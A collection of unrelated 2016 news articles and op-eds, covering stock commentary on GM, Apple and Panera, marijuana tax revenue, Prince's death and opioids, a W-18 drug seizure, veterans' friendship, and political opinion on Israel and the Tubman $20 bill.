What this announcement tells us Clearly, GM isn't expecting this disruption to be a big deal, at least when it comes to sales and earnings. But it's another reminder that the automotive supply chain is global.

Toyota and Nissan have already had to shut down factories in Japan because of parts shortages. It's not clear exactly what part or parts are running short, and GM offered no details on Friday.

But it's also clear that while GM (and Toyota and Nissan) will probably be able to make arrangements to get the relevant parts from factories elsewhere, the process of switching production gears will take a while -- and that gap will idle a lot of factories.

What it means for GM shareholdersFor GM shareholders, as of right now at least this situation looks to be no big deal. GM made it clear in its statement that it will be able to make up the lost production. It's possible that this will throw the rollout of the new Cadillac XT5 and Buick LaCrosse off schedule a bit, but it's unlikely -- again, given what we know as of right now -- that it'll matter a whole lot by quarter-end.

Long story short: It's no big deal right now, but we'll keep an eye on it.

The article Why General Motors Is Shutting Down 4 U.S. Factories originally appeared on Fool.com.

John Rosevear owns shares of General Motors. The Motley Fool recommends General Motors. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
SOURCE: FLICKR USER KATHEIRNE HITT

Marijuana advocates are getting ready for a battle in key states like California this November. California is among a slate of important states that will take up the issue of legalizing pot this year, and given how much money states like Colorado are hauling in from marijuana taxes, relieving pressure on cash-strapped state government budgets could be a deciding factor at the ballot box.

Beaucoup bucksCalifornia may have broken ground on medical marijuana laws, but it's Colorado that has taken the mantle from the Golden State when it comes to recreational use.

Colorado legalized marijuana in November 2012 and despite recreational sales beginning only in January 2014, the state reported legal recreational and medical marijuana sales of $996 million last year, up from $699 million in 2014.

The rapid growth in marijuana sales in the state has led to a massive influx of money to Colorado's state coffers. Colorado's Department of Revenue reports it collected $135 million in marijuana taxes and fees last year, $35 million of which will be used to fund school construction plans.

That's a lot of tax money, but it may only be the beginning. Sales of recreational and medical marijuana in Colorado skyrocketed 21% and 32% respectively between November 2015 and December 2015 to a combined $101.3 million and that means that Colorado's cannabis sales entered 2016 at a blistering $1.21 billion pace. Colorado reports that surging demand since December has led to it collecting $14.2 million in marijuana taxes and fees in March alone this year, up 56% from a year ago.

SOURCE: FLICKR USER BRETT LEVIN

Drop in the bucketColorado's figures are impressive, but they could be dwarfed by California if voters legalize recreational marijuana in November. Last year, sales of medical marijuana in the state were a whopping $2.7 billion.

Given that California is already the largest state for marijuana production (it grows more than 60% of all the marijuana grown in the U.S.) and there is potential of a passage of recreational marijuana laws in November, industry watchers think total marijuana sales in California could double by 2020. That would be quite a feat given that recreational marijuana sales wouldn't begin until 2018.

The impact of a doubling in marijuana sales on California's budget would undoubtedly be big.

In Adelanto, California, a city of 31,000 people located north of Los Angeles, Mayor Richard Kerr is on record stating that annual tax revenue from marijuana could be $10 million or more. That's roughly the size of Adelanto's city budget. The impact on other cities and towns throughout the state could be similar. Industry watchers estimate that a 15% proposed excise tax on marijuana sales could result in $1 billion in eventual statewide tax revenue per year.

With that much money at stake, a success in California could motivate more states to join the pro pot movement. States like Massachusetts and Nevada are taking up the issue this year too, but they're far from the only states that could use a booster shot to their tax revenue. If states hope to keep up with rapidly expanding expenses, they might not want to ignore the opportunity that's associated with regulating marijuana.

Is it likely to happen?This won't be the first time that California has considered legalizing recreational marijuana. Proposition 19 failed to win support at the ballot box in 2010. However, times have changed and attitudes toward marijuana have changed with them. According to an Associated Press poll in February, 61% of Americans support marijuana legalization.

Growing support for marijuana among Americans could lead to a passage in California and elsewhere. However, if marijuana supporters and budget-minded voters really want to guarantee a green light in November, they'll need to make sure younger voters turn out en masse. While 82% of people age 18 to 29 favor marijuana legalization, only 44% of those age 60 and up do.

The article Why More States Should Legalize Pot In November originally appeared on Fool.com.

Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Shares of Apple have fallen 14% over the past 12 months due to concerns that sales of the iPhone, its top source of revenue, will peak this year. iPhone sales inched up just 1% annually last quarter, and Apple's guidance for a 9% to 14% sales decline for the current quarter indicated that demand was drying up.

A recent report from Trendforce claimsthat global iPhone shipments fell nearly 24% annually during the first quarter, and the firm warns that the new 4" iPhone SE will "face severe price competition from Chinese branded products" in its target mid-range market.

Image source: Apple.

As a result, Apple faces tremendous pressure to make major technological and cosmetic improvements to future iPhones. But recent leaks indicate that this year's iPhone 7 will look similar to the iPhone 6s, and that its biggest improvement could be a dual-camera setupfor better pictures.

But looking further ahead, KGI Securities analyst Ming-Chi Kuo believes that Apple will dramatically alterthe iPhone next year by replacing its aluminum chassis with an all-glass enclosure, and replace its LCD screen with an AMOLED one. Would such an eleventh-hour move revive interest in the iPhone?

Is Apple running out of ideas?If Kuo's report is accurate, Apple would be following Android device design trends. Samsung has used AMOLED displays ever since the Galaxy S1, and it added curved glass screens to the Galaxy S6 Edge last year. Xiaomi, Oppo, Lenovo, and many other OEMs have also produced phones with glass backs or all-glass exteriors. Apple also used glass backs with the iPhone 4 and 4s. Those stylish handsets were prone to crack, but Kuo believes that Apple will use tougher glass to address that issue, and that glass would be ideal for wireless charging and boosting reception.

Introducing an all-glass AMOLED iPhone might impress diehard Apple fans, but it also seems to be an admission that Android OEMs -- which were once considered "iPhone knockoff" makers -- are now moving ahead of the design curve. Apple could potentially addits patented and long-rumored "wraparound" display design to the all-glass exterior, but LG also recently wona similar patent, indicating that it might launch such a futuristic device before Apple.

All-glass phones: Lenovo's S850 (L) and Oppo's A31 (R). Image source: Company websites.

Apple is treading water...Under CEO Tim Cook, Apple treads water more often than it swims forward. Cook has tried using a scattergun strategy to boost iPad sales, adding smaller and larger screen sizes along with keyboards for productivity purposes. Yet those tactics seem unlikely to break the tablet's eight consecutive quarters of annual sales declines.

That strategy is now bleeding over to the iPhone, causing the company to launch 4-inch devices to reach untapped markets. That strategy might work if Apple lowers the price to around $100 for developing and emerging markets, but the company stubbornly set the price at $400 to $500, keeping it out of reach of those consumers.

According to analytics firm Mixpanel, only 24% of iPhone users own aniPhone 6s or 6s Plus, while 43% still use the iPhone 6 or 6 Plus. That big disparity indicates that many iPhone 6 users, unimpressed by the iPhone 6s' incremental upgrades, simply stuck with their "good enough" devices. The iPhone 7 could suffer the same fate if it doesn't offer game-changing improvements. Since most carriers no longer subsidize iPhones with two-year contracts, longtime iPhone users will likely hold onto their devices a bit longer -- which could cause iPad-like sales declines.

But can it swim forward?Apple knows that it needs to diversify away from the iPhone, which generated nearly 70% of its revenue last quarter. However, new efforts like Apple Pay, Apple Music, and the Apple Watch still account for single-digit percentages of its top line, while the rumored "Apple Car" probably won't arrive until 2019. Sales of iPads and Macs have also been sluggish due to ongoing declines in both the tablet and PC markets.

So until Apple's other businesses start generating more meaningful sales, all eyes will remain fixed on the iPhone, which is running out of ways to win over new users. I believe that the company is gradually falling behind Samsung and other OEMs in terms of hardware design, and introducing an all-glass AMOLED iPhone might not be enough to close the gap next year.

The article Will An All-Glass AMOLED iPhone Boost Apple Inc. Stock? originally appeared on Fool.com.

Leo Sun has no position in any stocks mentioned. The Motley Fool owns shares of and recommends Apple. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Image: Panera Bread.

Investors in the fast-casual restaurant space have gotten used to rapid change and potentially disruptive conditions. Panera Bread has been one of the giants of the fast-casual space, using its emphasis on healthy ingredients and tasty yet speedy menu offerings to build up a solid following among customers. Yet as investors in Mexican-food specialist Chipotle Mexican Grill can appreciate, customer loyalty is something that you have to earn every day, and so it's important to keep executing well. Coming into Panera's first-quarter financial report on Tuesday, investors are optimistic that Panera can avoid the downturn that Chipotle has suffered lately, but it's unclear whether Panera's growth will be fast enough to explain the big boost in its share price. Let's take an early look at Panera and what's been happening with the company recently.

Stats on Panera Bread

Analyst EPS Estimate $1.50 Change From Year-Ago EPS 6.4% Revenue Estimate $673.9 million Change From Year-Ago Revenue 3.9% Earnings Beats in Past 4 Quarters 2

Source: Yahoo! Finance.

How much yeast will Panera earnings have?In recent months, investors have had mixed views on Panera earnings. They've boosted their first-quarter estimates by a nickel per share, but they've made corresponding downgrades of more than $0.20 per share to their full-year projections for 2017. Even so, the stock has performed very well, climbing 14% since mid-January.

A good deal of the enthusiasm surrounding the fast-casual chain came from Panera's fourth-quarter earnings report. Revenue gains were modest at less than 3%, with total comparable-store sales rising 2.3% on a 3.6% gain in comps at company-owned locations. Adjusted earnings just barely managed to rise on a per-share basis, but that defied earlier pessimistic calls among investors and ended up beating the consensus forecast by a dime per share. The chain kept battling weaker operating margins stemming from structural wage increases and start-up costs, but a combination of expansion efforts and initiatives to improve productivity led to solid guidance from Panera, and investors took the news well.

Yet recent positive views from analysts following the stock have also heightened interest in Panera. Earlier this month, analyst firm Jefferies took a look at Panera, and it boosted its target price on the shares to $245 per share, up $50 from its previous guidance. Bullish investors point to the Panera 2.0 platform to allow customer ordering via touch-screen tablets at restaurant locations or through their own smartphones or other mobile devices as a potential game-changer, and despite the upfront cost that has held back Panera's earnings growth, CEO Ron Shaich has repeatedly expressed confidence in the initiative's potential to boost business and customer loyalty.

Delivery is also a growth area that Panera is increasingly looking at developing. The company said that it hopes to offer delivery service at about a tenth of its restaurants this year, which would amount to begin 200 to 300 locations. Already, testing in two markets with about a total of 25 restaurants has gone well, and if the larger tryout goes well, then a full-blown rollout to cover a much wider swath of Panera's territory could come in the future.

Still, Panera will have to keep working hard to stay ahead of the curve. Chipotle Mexican Grill has been playing a lot of defense lately, trying to recover from the recent incidents of foodborne illness that have hurt its reputation and eaten into sales. As Chipotle goes back on the offensive, Panera will have to be ready, and continuing to focus on marketing and efficiency gains will help give Panera the ammunition it needs to stand up to Chipotle.

In the Panera earnings report, investors should take a close look at the strategy that the company is following and see if the numbers support the thinking behind the move. Panera's shares are heading in the right direction, but the restaurant chain's fundamentals will also need to strengthen in order to justify the advance in the stock in the long run.

The article Will Panera Bread Earnings Justify the Stock's Big Rise? originally appeared on Fool.com.

Dan Caplinger has no position in any stocks mentioned. The Motley Fool owns shares of and recommends Chipotle Mexican Grill and Panera Bread. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Most speculation on the death of Prince, who passed away Thursday at age 57, has centered on his struggle with the flu, but new reports suggest the late pop icon may also have suffered from an opioid overdose. If thats the case, experts say the combination could be deadly, as the respiratory illness and even a regular dosage of opioids can effectively depress the bodys ability to breathe.

Princes publicist has confirmed that the musician, born Prince Rogers Nelson, had been suffering from the flu for several weeks, but sources close to the late celebrity told TMZ that Prince had also been treated with the anti-overdose drug naloxone late last week. He was reportedly taking percocet, which contains oxycodone, an opioid, for hip pain, and he had corrective hip surgery around 2010. Prince's former percussionist Sheila E. spoke with ABC's "Good Morning America" on Friday and said the star had a history of hip injuries and that he spoke about suffering from epilepsy as a child, but it's unclear whether he had them as an adult. Jumping off risers in high heels during his "Purple Rain" days likely caused the hip damage, she told "Good Morning America," and Prince had been seen in recent years using a cane.

April 15, about a week before his death,TMZ reported the pop stars plane made an emergency landing after performing two shows. Prince stayed in the hospital for three hours despite doctors recommendations he stay and rest for 24 hours. The same day, Prince tweeted: "I am #transformed."

Anita Gupta, co-chair of the Task Force on Opioid Abuse for the American Society of Anesthesiology, said the drug naloxone, which can be injected or inhaled, has a high success rate and that it reversed more than 10,000 overdoses between 1996 and 2010. However, proper administration of the anti-overdose drug and subsequent monitoring of the affected individual are key for successfully reversing the effects of overdose.

If you dont use [naloxone] properly, the person may not get the full dose of the antidote, and it wont work, Gupta told FoxNews.com.

When an individual is suffering from overdose from an opioid, whether illicit or prescribed, he or she may experience pain relief or a feeling of euphoria, said Marc LaRochelle, an assistant professor of medicine at Boston Medical Center at Boston University School of Medicine.

But the other thing [opioids] can do is cause central nervous system depression, and they can decrease your respiratory rate, LaRochelle told FoxNews.com. In the case of overdose, how that manifests is it slows breathing to where it may stop completely and you have cardiopulmonary arrest.

LaRochelle, who is also a primary care physician, described naloxone as a key that detects opioid receptors locked into the body and turns them off, reversing the physiological effects the drug can have on the body.

Typically in the event of an opioid overdose, doctors will monitor the patient for 24 hours to ensure the effect of the opioids has worn off.

This is an opportunity in my mind to identify and intervene on someone with an opioid abuse disorder, and to hopefully try to engage them in care, La Rochelle said, because hours or days later, they can have another overdose. The [naloxone] only sticks around for minutes to hours. Its short. It doesnt have lasting protection.

One of the challenges we have is that oftentimes, people will be reversed [from overdose] and dont want medical care, and they leave the hospital, LaRochelle added.

Individuals suffering from an underlying health condition and struggling with the flu at the same time may see a greater risk of flu complications or death, according to the Centers for Disease Control and Prevention (CDC). The flu hospitalizes more than 200,000 people and kills about 36,000 each year.

If an individual has a respiratory illness like the flu or pneumonia two conditions that suppress the lungs ability to exchange carbon dioxide and oxygen and is experiencing an opioid overdose, the bodys natural ability to regulate breathing rates can become compromised, LaRochelle said. Essentially, the combination compounds stress on the respiratory system.

A lower dose of opioids with the flu or pneumonia would cause trouble, he said. If someone took their normal dose, it may be something that is blunting your bodys natural ability to increase your respiratory rate.

Gupta, who advises the Food and Drug Administation (FDA) on the problem of opioid overdose, said the reported sequence of events surrounding Princes death sounds like it was an overdose.

She pointed out that people who suffer from overdose once are likelier to suffer from one again. According to the CDC, opioid overdose deaths are now outpacing deaths from car accidents. Nearly half a million Americans died from drug overdoses between 2000 and 2014.

Every 19 minutes, someone dies from an overdose, Gupta said. Its incredibly sad.

The Associated Press contributed to this report.


Breaking up is hard to do.

Untangling Montana State Parks from the Department of Fish, Wildlife and Parks caused some friction between the two agencies during a meeting in Miles City on Thursday. State parks has long explored moving to a different agency, possibly the Department of Commerce.

On Thursday the Montana State Parks and Recreation Board asked FWP director Jeff Hagener to create a committee to explore what to do with 16 state parks that have encumbrances on them because they were purchased in part with federal dollars that specify how they can be used.

A portion of one park in particular, West Shore State Park on Flathead Lake, has to be dealt with faster than the others because being out of compliance jeopardizes federal funding that FWP receives, an amount that totaled $27 million this year. FWP had been considering a land exchange to fix the problem, but finding property of equal value to Flathead lakeshore is difficult.

The 1,400 feet of lakeshore on the Flathead property is valued at $4,500 to $10,000 a foot, or $6.3 million to $14 million. FWP had hoped to move the federal wildlife encumbrance to the Marias, Yellowstone and North Shore of Flathead Lake wildlife management areas. But a ballpark figure on those properties added up to only $4 million. The Fish and Wildlife Service has said the properties have to be of equal value.

Other options FWP presented to the board to resolve the encumbrance was that state parks pay for the properties at a fair market price or some type of lease, again at fair market value, be worked out.

State parks board members balked at the proposals.

This is kind of a Pandoras box, said Mary Sexton, parks board member. To deal with one little sliver is inappropriate. I think there are other options that could be investigated.

Sexton suggested a working group composed of a variety of colleagues, including parks board members, to explore other ideas.

This is something thats going to take some time, she said.

Tom Towe, parks board president, said he disagreed with the U.S. Fish and Wildlife Service that the exchange needed to be based on current fair market value.

The fact is the law is not that clear, but that is how the feds are going to interpret it, he said.

FWP director Hagener said it would be easy for him to deal with the other state parks that have federal encumbrances.

I dont think thats an issue, he told the board. But West Shore is an issue.

I think there are other options to be pursued, Sexton said.

Im not sure what the goal is, Mary, Hagener responded.

Sexton emphasized that she wants the parks board included in the discussion.

There are a variety of options here, she added. Its not as black and white as it was portrayed here today.

Hagener said hes going to be asked why the other parks are being considered when they are not now an issue.

This crap is littered all over the runway, so were not going to take off, said Jeff Welch, parks board member. We need to evaluate how to clear the runway.

Hagener then asked about the boards timeline, which Welch said should be sometime this fall.

Im not opposed, Im just questioning how to do it, Hagener said.
A Pennsylvania girl who was born without any fingers on one hand is finally able to experience what ita like to have two functioning hands after being fitted with a 3-D printed prosthesis. Emmy Hoffman, 5, was born with Symbrachydactyly, a congenital condition that can cause limb abnormalities, and received her new prosthetic Friday. The fingers attach to a shell that fits over her hand and wrist.

The hand is very simple, Eric Shoemaker, Emmys prosthetist at Ability Prosthetics, said in a news release. When Emmy flexes her wrist, the cables tighten and flex the fingers so the hand closes, and she will be able to grasp objects.

Advancements in 3-D printing technologies have enabled companies like Exton, Penn.-based Ability Prosthetics to help children like Emmy excel. The company fitted her with the first prosthesis and will continue to supply new fingers as she grows. Without 3-D printing, each new set of fingers would cost $10,000 to $20,000, but the Hoffmans will only be responsible for an annual cost of a few hundred dollars.

While Emmy didnt let her missing fingers hold her back from keeping up with her brothers and friends, there were some activities she missed out on like riding a bike. The prosthetic will allow her to hold a proper grip so she can enjoy those activities. To help explain Emmys condition to her classmates and peers, her mother, Jocelyn Hoffman, published a book titled Emmys Amazing Hand, which illustrates Emmy doing the same things that all kids her age do.

The main point of the book is that these kids can do everything, Jocelyn said in the news release. As a parent, thats hard to picture when they are so tiny.


Affluent white women in Northern California have been told for decades that they face an elevated risk of breast cancer, but a new investigation of the reputed cluster  the citing of which has stoked fears as well as fund-raising - shows it could all be a case of junk science.

An extensive report in the Pulitzer Prize-winning weekly newspaper Point Reyes Light highlighted how the Bay Area media contributes to the anxiety of white women in Marin County with headlines like Unseen Killer Stalks Marin and Breast Cancer Amid Affluence: High Rate in Marin County Appears Tied to Wealth, Education, even though evidence shows the disease is no more prevalent there than in other places.

In the 11-part report, investigative journalist Peter Byrne found that increased diagnosis of the disease is due to the fact that wealthy and educated women in the pristine county, as well as other communities like it, tend to be more proactive about their medical care. While early diagnosis is clearly beneficial, the skewed interpretation has left women in Marin County and other wealthy, white, suburban enclaves, including Long Island, N.Y., Cape Cod, Mass., and areas near Seattle and Los Angeles, believing that the dread disease selectively targets them.

People who utilize medical services the most are going to be diagnosed with more diseases.  Olufunmilayo Olopade, Center for Clinical Cancer Genetics

Simply put, federal and state data show that women living in mostly white suburbs akin to Marin get substantially more screening mammograms than do women in lower-income communities, Byrne, whose series is entitled Busted! Breast Cancer, Money and the Media, said. High rates of screening discover more cancers, and also return comparatively high rates of false positives.

Byrnes series charges that scientists unable to explain why certain women would be more at risk on the basis of race have nonetheless spent millions of taxpayer dollars speculating about the supposedly carcinogenic lifestyles of wealthy suburbanites, while ignoring the simplest, most logical explanation.

Olufunmilayo Olopade, an internationally renowned expert in cancer risk assessment and the director of the Center for Clinical Cancer Genetics at the University of Chicago, is one of several authoritative sources Byrne cites as rejecting claims affluent, white women are at increased risk of breast cancer.

People who utilize medical services the most are going to be diagnosed with more diseases, Olopade said. Because people with insurance get the most mammograms, a cancer registrys breast cancer incidence reporting will be skewed toward people with access to good health care services.

The real risk of the misguided claims, writes Byrne, are that they drive unnecessary fear and improperly influence research priorities. For instance, Marin Countys health department has excluded non-white women from most of its breast cancer studies, and politically driven funding by federal agencies has poured millions of dollars into such whites-only studies, despite the fact that the breast cancer mortality rate for African Americans is 40 percent higher than whites, according to the report.

Following the report, California Assemblyman Marc Levine, D-Marin, asked the state Department of Public Health to investigate the issue, with an eye toward reforming the cancer registry system. The series also has had an effect on the very media Byrne took to task, as Chronicle Science Editor David Perlman wrote in a letter to the Point Reyes Light that it should compel health officials in every American jurisdictionfrom local health departments to the National Cancer Instituteto re-think the way cancer statistics are misused and how they have misled the public.

Click here to read the complete series, Busted! Breast Cancer, Money and the Media.
Get ready to hear much more about a powerful new street drug called W-18. Police in Edmonton, Canada, this week announced a huge seizure of it made in December4 kilograms, or enough for hundreds of millions of pills, reports the Globe and Mail.

The drug is a synthetic opiate like fentanyl that produces a heroin-like high, but it's 100 times more powerful than fentanyl and 10,000 times more powerful than morphine.

As Vice and the CBC explain, it's probably being churned out by labs in China and then shipped to North America via services such as FedEx.

This is the second major W-18 seizure within a year in Canada, but it's not just a Canadian problem. A drug dealer in Florida convicted of importing fentanyl also had 2.5 pounds of W-18, the Sun Sentinel reported in March.

But because the drug isn't illegalyetit didn't factor into his sentence. "This is the most deadly drug trend I've seen in 31 years," says an epidemiologist at Nova Southeastern University in Florida.

Scientists at the University of Alberta developed W-18 in the 1980s as a potential painkiller, though it and other strains in the "W" series, which ran from W-1 to W-32, have since been used mainly for research.

The CBC notes W-18 is the most powerful of the 32. No tests are available to detect it in urine or blood, which means it may already be taking an unknown toll on users if it's being cut into other drugsand perhaps be at least partly responsible for the escalating deaths attributed to heroin.

"Often, if the analog is mixed with heroin, heroin just becomes the cause of death," an expert on synthetic drugs in Florida tells the Broward-Palm Beach New Times.

(In Ohio, the mother and grandmother of a teen who died after using heroin face charges.)

This article originally appeared on Newser: W-18: The New Street Drug With Crazy Potency

More From Newser
You might think 97-year-old Ralph Kimball of Murray, Utah, would be more careful with his hair. Instead, this World War II veteran and two-time Purple Heart recipient says with a sly chuckle, I trust it to a kid.

That kid is 91-year-old Wayne Chidester of Springville, Utah. Chidester is also a World War II veteran, and in the age of social media and digital relationships, their lengthy, loyal friendship is refreshing.

Approximately once a month for more than 30 years, Kimball has visited Chidesters barbers chair for what he calls the perfect haircut and a reminder of what matters most in the world.

When the two friends are together and Chidesters scissors work their magic, observers must marvel at the nearly 200 combined years of life experience.

Those who know these friends say their pre-wired sense of duty and loyalty flavors every aspect of their lives. Theyre loyal to God, family, friends, work and country.

I first met Wayne back when I was young, in my early 60s, Kimball told me during a recent interview. Every Saturday, he still drives from Springville up to Real Barbers in Midvale. There is no one better. Id recommend him to anyone who wants a perfect haircut.

He said that? Chidester asked when he heard of his friends recommendation. He is such a gentleman.

The two men have experienced everything over more than 350 haircuts. Theyve rejoiced in their children, grandchildren and great-grandchildren, and theyve mourned the loss of their beloved wives. Chidester recently said goodbye to Montez, his high school sweetheart and bride of more than 67 years. Kimballs wife of 63 years, Marie, has been gone since 2004. He later married widow Beverly Stuznegger, whom he calls a beauty and a gem.

Typical of their generation, both men would rather discuss their families, friendship or weather than their bravery during the war. While Kimball and Chidester each spent most of their military careers in the Pacific theater, Kimball fought with the Armys 7th infantry division and Chidester was a Navy man, doing damage control as a shipfitter. Although the two men escaped serious injury and returned home safely to their families, both had many friends who did not.

But I believe the Lord takes care of veterans, Chidester said. We all came back so different  everyone does  and even today we need all the help we can get.

Back home, Kimballs post-war career was in finance, and he worked for the original Zions Savings Bank and Trust Company. Meanwhile, Chidesters wife went to cosmetology school and encouraged her husband to study for his barbers license. With jobs scarce, he wisely took her advice, and in 1947 he earned his license.

Chidesters scissors havent stopped since.

When I asked them to explain their successes in life, love and friendship, both men relied on a deep sense of loyalty. Kimball remembers arriving for his haircut one Saturday and discovering that Chidester had left town for a family reunion. Though other barbers were available, men he knew well and who were very capable, Kimball simply said thank you and returned home.

I went back the next week for my cut, Kimball said. When youre loyal, youre loyal.

When I told Chidester about the gesture, he was both surprised and humbled. Well, he said, hesitating. Well, if he said he did that, then he must have. What a kind man.

On his days off, Chidester enjoys spending time with family and looks forward to his Saturday trips to work in the barbershop. Kimball spends time with his wife and plays music, completely by ear, on a keyboard in his condo. He also enjoys writing and is proud to have landed several letters to the editor in local papers.

Speaking of their shared loyalty, the men praised the military and the men and women who have served America at any time, on any front and in any uniform. Chidester and Kimball risked it all for the country they love, and both would do it again.

Those who know these friends say their prewired sense of duty and loyalty flavors every aspect of their lives. Theyre loyal to God, family, friends, work and country.

As Chidester and Kimball count the days until their next Saturday appointment and all the others they pray will follow, that warm loyalty shows no signs of slipping.

Im not sure what Id do if Wayne ever retired, Kimball said of his trusted friend. Im just not sure.

Once again, Chidester was humbled.

He said that? Chidester asked. Hes always been so kind to me, so pleasant. Im very thankful.

Of course he did, I told him. Because thats what loyalty is all about.
Vice President Biden, speaking at J Street earlier this week, voiced the Obama administrations overwhelming frustrationat Israel for the lack of Mideast peace.

Well, frustration seems to be the Middle Easts middle name these days. Have members of the administration or media mavens bothered to inquire about the overwhelming frustration of millions of displaced, maimed, or orphaned Syrians, or ethnically cleansed Iraqi Christians, disappearing Yazidis, or dare we say it: the citizens of Israel?

Many Israelis are overwhelmingly frustrated by the worlds stony silence as their fellow citizens have been literally being stabbed in the back by (primarily) young Palestinian terrorists.

They are "overwhelmingly" angered by a suicide bomber who failed to kill himself this week but did succeed in blowing up a bus and injuring 21 innocents at the height of Jerusalem's rush hour.

How to gauge their seething frustration at the contemptuous CNN.com headline that reduced that terrorist attack to a bus fire.

Imagine the overwhelming frustration of Jews in Israel and the world over at UNESCO -- the international agency whose mandate is to preserve historic siteswhen its executive board voted to erase The Western Wall (Kotel), as the base of Judaisms Holiest site, reclassifying it as Islamic!

How do we measure Israelis overwhelming frustration at a European Union, many of whose member states don't even pretend to track anti-Semitic hate crimes against Shoah-remnant Jewish communities, who do nothing to disabuse old and new Muslim immigrants of deeply embedded anti-Jewish animus?

This is the very same European Union that singled out Israeli products from the West Bank for special labels, while it and member states pour billions into the coffers of the utterly corrupt Palestinian Authority.

And speaking of Europe France--whose Islamist terrorist-targeted Jewish citizens flee in the thousands to safe haven in Israel, is taking the lead in launching an obscene anti-Israel resolution at the U.N. Security Council. That move is designed to push the Jewish State to retreat to its pre-1967 Auschwitz Borders (a term coined by the late Israeli diplomat, Abba Eban, who founded the post-Six Day War Israel Peace Movement).

Such a move would all set the stage for the West Banks transformation into yet another launching pad for missiles and terror tunnels targeting at Israels population centers at point blank range.

Forgive Israelis if they also feel an overwhelming frustration and a foreboding sense of deja vu as they witness yet again the ugly stain of double standard when it comes to the so-called global war against terrorism.

While world leaders bemoaned the innocent victims of San Bernardino, Paris, Brussels, and Lahore terrorist outrages, Jerusalem and Tel Aviv rarely passed their lips. Israelis sense eerie echoes dating back to the 1970s, when governments cut secret deals with terrorists to secure the safety of their streets and threw Israel under the international bus while European media pounded Israel as the Middle Easts (sometime Nazi-like) Goliath.

And in 2016, Palestinians see that no one, not Washington, Brussels, or Paris, let alone Moscow or Beijing is going to hold them in any way accountable for their terrorist atrocities. As for the other major European players, with President Obama ensuring the nuclear-linked sanctions are ended, the stampede to renew business ties with the Mullahocracy is led by Berlin and Vienna, human rights be damned. Imagine Mr. Vice President, the overwhelming frustration felt by the long-suffering Iranian people

Bottom line: Israelis dont need more lectures about the need of a Two-State Solution. The vast majority hope and pray that one day that will be possible.

But now? It would be suicidal. Not with 100,000 missile-laden Hezbollah on its Northern border. Not with with Iran and its lackeys trying to open a direct front opposite the Golan Heights. Not with Hamas terror tunnel construction continuing unabated. And not with a Palestinian Authority that praises terrorist attacks against its Israeli neighbors and whose bottomless corruption has destroyed its legitimacy with its own people .

So please, Mr. Vice President, spare the people of Israel another lecture. It will only add to their overwhelming frustration with their closest friend and ally.
I am incensed that our government has decided to put Harriet Tubman on the $20 bill. I have nothing against this gun-toting abolitionist; I have everything against President Obamas continued rattling of the nations cage.

I object to his ongoing efforts to transform and modernize our country, authoring one divisive measure after another, at a time when he should be restoring our confidence.

The aftermath of the financial crisis, the stalemate in Congress and increased threats from Islamic terrorists have dulled our optimism.

We need leadership, not tinkering.

Obamas inflammatory and pesky interventions in matters great and small, from shoving ObamaCare down the countrys throat to renaming Mt. McKinley, from overturning our immigration laws to optimizing transgender bathroom availability, have kept Americans on their heels, not knowing what will come next.

The nation is not well. Suicides are at a thirty-year high, and drug addiction is soaring. Confidence in our leaders and institutions is on the decline. A new McClatchy-Marist poll finds that 68 percent of the country  more than two out of every three adults -- thinks we are headed in the wrong direction  the highest in more than four years. And that, in spite of job gains and record stock prices. Something is not right. The patient needs bed rest  not elective surgery.

It is for sure not the time to dredge up new controversies. We have plenty of those raging already  from the Iran deal to immigration to climate change policy. Most Americans are trying to make ends meet, worried about how they will pay for their kids education and finance their retirement; they are not focused on whose face adorns our currency. Most of us are content to celebrate our nations founders and historical leaders. However, once you put the subject on the table for discussion, we will have different ideas. It becomes yet another opportunity for disagreement. To what end?

Of course, the squabble over national icons confirms that reverence for our countrys past is definitely passe. Teachers no longer teach American history with any enthusiasm for this remarkable nation. History courses in our universities now focus on gender and race, not on the extraordinary achievements of our founders, or how our vibrant, growing country has offered unparalleled opportunity to hundreds of millions of people for over two centuries.

Young people today have very little sense of why the United States has long attracted refugees and aspirants from every continent even as other nations must pen their people in. They do not understand the contributions of capitalism or democracy. Why celebrate Andrew Jackson or Alexander Hamilton when you have no appreciation of their accomplishments?

Not so long ago you could joke about such ignorance and political correctness. In 1989 Dave Barry wrote a Sort of history of the United States called Dave Barry Slept Here, a delightful scramble of facts and dates. In an early chapter about Colonial America fighting the French he writes, The cause of this wasHold it! We have just received the following: A REVIEW COMMITTEE CONSISTING OF EDUCATION PROFESSIONALS WITH DOCTORATE DEGREES AND INITIALS AFTER THEIR NAMES HAS DETERMINED THAT, SO FAR, THIS HISTORY BOOK IS NOT MAKING ENOUGH OF AN EFFORT TO INCLUDE THE CONTRIBUTIONS OF WOMEN AND MINORITY GROUPS. UNLESS SOME EFFORT IS UNDERTAKEN TO CORRECT THIS SITUATION, THIS BOOK WILL NOT BE APPROVED FOR PURCHASE BY PUBLIC SCHOOL SYSTEMS IN ABSOLUTELY VAST QUANTITIES.

Barry writes on, Another important fact we just remembered is that during the colonial era women and minority groups were making many contributions, which we are certain they will continue to do at regularly spaced intervals throughout the course of this book. And of course, he liberally sprinkles the line At this time, women and minorities were making many contributions throughout the ensuing hilarious chapters. How refreshing.

There isnt much humor about political correctness, or anything else, on display today. To the contrary, we are engaged in an extraordinary and passionate election, with candidates in both parties buoyed by fear and anger.

Does President Obama take any responsibility for the popularity of Donald Trump, whose support soars as he eviscerates political correctness and promises to confront the world with renewed strength and authority?

Does he not see some rebuke in Bernie Sanders amazing ability to gin up outrage over the plight of everyday men and women?

